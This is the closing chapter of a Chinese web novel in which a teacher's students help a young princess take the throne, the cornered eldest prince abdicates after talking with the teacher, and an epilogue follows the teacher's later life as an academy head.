天阙自然是欣喜难言,立马便听话的举起大旗反了,而其他势力,紧跟而上,则不服的不服,骂的骂,思考的思考,真开始推演起谁更适合的这个话题。 不得不说,童启的影响力远比想象中要大得多。 当童启说完这句话的第一日,江南与河南府便立马跟着站了队,齐齐支持起赵天阙来。 一些文人大儒,世家、寒门,也持有观望态度。 更重要的是,华夏书院和炎黄书院,几乎所有的学生都坚定不已,站在了自己的小师妹这一方。 谁也不傻,明摆着的从龙之功,没有不听山长,反而去闹内讧的! 于是朝野各地开始纷纷响应,很快便打起了支持的旗号,拥护赵天阙。 对外则是“救童启,清君侧。” 其他被关押将近一个月的三位辅政大丞:???我怎么就没有这么大的待遇? 靠着童启这番话,就连朝中不少势力也受到了影响,汪启元也跟着收起尾来,不仅将柏将军等人放入了皇宫中,更是联合徐常侍,直接将大皇子困在了盘龙殿上,逼迫他退位让贤。 大皇子难以接受。 “我那么重用你,你竟然敢背叛我?凭什么?那赵天阙不过一个奶娃娃,她许诺了你什么?我也可以给你啊!骗子,都是骗子!你不是说已经和华夏书院分裂了吗?不是说你跟你的山长走的路完全不一样吗?那为什么还会如此?就因为他的一句话,赵天阙比我更适合大奉朝,你就要反我?” 汪启元沉默了一下。 “不,我反你并不只是因为童山长的话。而是你的确不适合这个皇帝。虽然我和山长路走的不同,可并不代表我们为了天下的心不一样。殊途同归,皆是为了江山和百姓罢了。” 好一个为了江山,为了百姓! 大皇子仰天大笑起来。 如今他才终于想明白,前期种种。 他一直以为汪启元是推崇自己,所以才改投的他。 可谁能想到,对方竟然一开始存的,就是借刀杀人的招式! 他分明是故意怂恿自己将三皇子除掉,然后在无人能够抗衡的情况下,靠着垄断朝堂,成功扶持赵天阙上位。 可怜他傻傻的,一直被蒙在鼓中。 还以为是什么忠君爱国的佳话。 “好一个君子,好一个汪启元。” 是这些人害了他啊! 若不是他们,自己也不会如此相信!背负起这样重的骂名,亲自手刃自己的兄弟! 大皇子彻底疯了,他拔出剑,一把将殿里的几个火烛砍下,瞬间燃气熊熊大火,隔绝了两方之间的关系。 别说投降退位了,他甚至夺起桌上的玉玺,便要砸下去。 “你们不是以为自己算无遗策吗?我偏偏不让 你们如愿!让童启来见我,让他来见我!不然我就摔碎玉玺,烧死自己和这整个大殿!汪启元,你不是还想青史留名吗?那便乖乖听我的,否则,以后史书上绝对避不开你逼死帝王,焚烧宫殿的罪名,我倒要看看,哪个皇帝肯用你!” 文人的名,树人的影,这句话对于文臣来说,简直是绝佳的威胁。 汪启元皱着眉头上前几步,被刘卜温等人一把拉住,劝他冷静。 “别冲动,他就是故意激你。山长说的话你忘了?不要做无谓的牺牲。他想见山长,那便让他见,殿里这么多人,不会有事的。” 于是,赵天阙一路打到京城,坐上帝位,用了十日。 大皇子也就在盘龙殿内,用刀威胁绝食了十日。 只为等童启。 命令传到童启这里时,他仍旧在慢悠悠收拾着东西。 岳灼华就站在门口,温柔的等候着他。 天知道当时自己的新婚丈夫被抓,她用了多大的力气,才没有抽出剑来,还是童启劝她出不了大事,这才勉强忍了下来,如今可终于见到人归家了。 一定要好好的除除晦气。 可艾草水刚喷到一半,门再次被敲响,徐常侍急匆匆拉着童启,便要往京城去。 “不是,我们去京城做什么?” 不都登基了吗? “大皇子要见你,死活不退位,说是见不到你,就要和所有人同归于尽呢!” 童启:??? 见我? 可我之前也没有跟大皇子相处过什么啊? 一脸懵逼被快马带往京城,路上,他才勉强得知发生了什么,但不管怎么说,临门就差一脚,童启自然没有不参与的可能。 他被带入了宫,一路护送到盘龙殿。 比起大皇子饿了十天,穷凶极恶如同困兽般的狼狈模样,童启被关了快半个月,状态甚至要比他的还要好一些。 “山长……” “山长……” 汪启元等学生等候在殿外,几月不见,不少人已经穿上了一品的朝服,身上的官威也多了许多。 可在童启面前,却不约而同收敛了戾气。 仍旧如同一个小学生一般,乖巧十足。 “没关系,我进去看看。” 童启说道,他拍了拍几人的肩膀,迈步而去。 童庆安悄悄的跟在他的身后,趴在窗户边听着。 大皇子见到童启,勉强支撑起一点点力气。 “你来了?” “听说你有话要跟我说。” “童启,童山长。你厉害,一句话,却胜过了我十年的努力。我不明白,为什么我会沦落到这个样子,而你什么都没做,最后,却凭借着学生,成为了胜者?” “我是胜者?”童启有些惊讶,“不管您信不信,我从来没有想过造反,也从未有过鼓捣怂恿学生们去造反的想法。他们的行为只是由心而发,希望有个更好的社会环境。” 至于最后误打误撞,竟然真的扶持了一个女帝上位。 那是上天给的机缘巧合,远非他当初所能预想到的。 大皇子自嘲的笑了笑,“我是真羡慕你啊,有这样的一群学生,你说,若当初我也去华夏书院就读,比老三更快一些,去支持你们的书院,那么,我今日,还会有这样的结局吗?” “我觉得会。” 童启想了想,回答道。 “因为我们华夏书院应该不会收你这样的学生,你已经塑形了,思想根深蒂固,不会改变,即便迫于威力收下,你也很难和他们打成一片。我也不会认真的去教。” 学生,从来都不是一日形成的,而是日趋月累。 童年教育也很重要。 有着那样的父母,那样的生活环境,说实话,能不疯,都已经是神迹。 大皇子可能也没想到童启说话会如此不留余地。 他沉默了一会儿,再次问道。 “你今日是来劝我退位的对吧?若我退了,大奉朝会变得更好嘛?” “也许。你若不退,大奉朝很可能就此终结,但若退的话,起码这个号,仍旧会被保留下来,依旧是你赵家人坐的江山。” “好,那我退。” 大皇子颓然道,他终究还是亲手写下了那份退位诏书,无力的放下了手里的刀剑。 童启认真收好那份诏书后,转身出殿,将要跨出府门的时候,他听见身后隐隐的哭泣声,带着轻微的呢喃。 “童山长,若有下辈子,我也想做你的学生。” 他听到对方如此说。 “好。” 童启沉默良久之后,同意下来。 大雪纷纷扬扬落下。 大奉朝终究还是在各方势力的维持下,用伤害性最小的方式,平稳渡过了政权。 赵天阙在众星捧月般登位,第一日便立了童启为太傅,然后重用两个书院的学生,平衡文治武功,励精图治,后相继在三年内,收复了西夏、辽国与金。 大奉朝在她手上,堪称达到了巅峰。 因为帝王都成了女的来做,所以第二年,天阙便放开了女子的教育与科考。 王世贞也由此恢复了女身,光明正大成为了大奉朝第一个六元及第的女状元! 惊掉了无数人的眼球。 而最令人津津乐道的还是她和四公主的友情,竟然愿意伪装成亲,甚至怀孕来帮助,这个故事后被改编为无数话本,火遍了大江南北。 不知感动了多少女子。 正式开启了女子帮助女子的潮流。 而童启后来也没有再参与科考,而是当了几年的太傅座师之后,等赵天阙平稳了政权,不再需要自己的帮忙,便隐身回了伊川县与潭州府,担任两个书院的山长,在南与北之间来回跑,为大奉朝教出更多的学生。 当官仍旧非他的志向,但每年都有大官回来探望,倒是真的。 赵天阙执政后期,汪启元,吴韧,王世贞相继成为丞相,几乎确定了几百年华夏书院在文人圈统治的地位! 岳灼华倒是还仍旧担任着武将,保卫着大奉朝的境内安全。 对此,童启十分支持,有时候不忙时,甚至还会去军营接她,一起下班,两人恩爱非常,羡煞旁人。 直到十几年之后,童启的名字已经传遍整个大奉朝,无人不知无人不晓。 而他的声望值也终于达到了四百多万。 系统终于宣布他达成了【桃李满天下】的成就。 可童启已经不想回去了。 系统沉默许久,终于还是承认了自己当初的错误。 “抱歉,我一直以为只有造反才能够达到如此高的声望,没想到,只是平平淡淡的教学生,竟然也能,说实话,你改变了我的想法。” 童启笑的灿烂,一边批改着学生的作业,一边说道。 “因为,这就是老师啊。真正的老师是永远不会将屠刀伸向学生们的。更不会教授学生们用知识去攻击。我们所学的一切都是为了让世界变得更好,用来传承,用来保护,而不是攻击,更不是高压之下的全权统治。” 他始终坚持着这一点。 也信奉着这一点。 因此直到寿终正寝,都成为了整个大奉朝最敬重最想念的帝师。 正文完。【你现在阅读的是 】